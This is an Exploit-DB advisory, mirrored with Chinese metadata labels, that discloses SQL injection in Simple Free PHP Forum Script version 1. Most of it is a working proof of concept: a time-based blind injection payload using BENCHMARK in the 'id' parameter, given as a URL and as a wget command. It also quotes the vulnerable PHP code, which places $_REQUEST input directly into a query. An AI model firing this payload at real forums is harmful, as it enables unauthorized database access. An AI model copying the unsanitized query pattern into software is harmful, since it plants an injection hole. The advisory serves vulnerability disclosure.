Simple Free PHP Forum Script – SQL Injection

  • 作者: Skraps
    日期: 2011-10-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18004/
  • # Exploit Title: Simple Free PHP Forum Script <= 1 SQL Injection Vulnerability
    # Date: 2011-10-19
    # Author: Skraps, Jackie Craig Sparks(jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
    # Software Link: http://www.phpforumscript.com/?page_id=11
    # Version: 1 (tested)
    
    This script is riddled of unsanitized REQUEST variables that allows multiple SQL injections.
    
    --------------
     PoC
    --------------
    http://127.0.0.1/forum/index.php?show=cat&id=1' AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0) AND id='1
    
    wget "http://127.0.0.1/forum/index.php?show=cat&id=1' AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0) AND id='1"
    
    --------------
    Vurnerable Code
    --------------
    Line 150 of discussion.php:
     case 'cat':
    $get_id=$_REQUEST["id"];
    $page->Set("cat_id",$get_id);
    $query="SELECT * FROM discussion_category WHERE id='$get_id' LIMIT 1";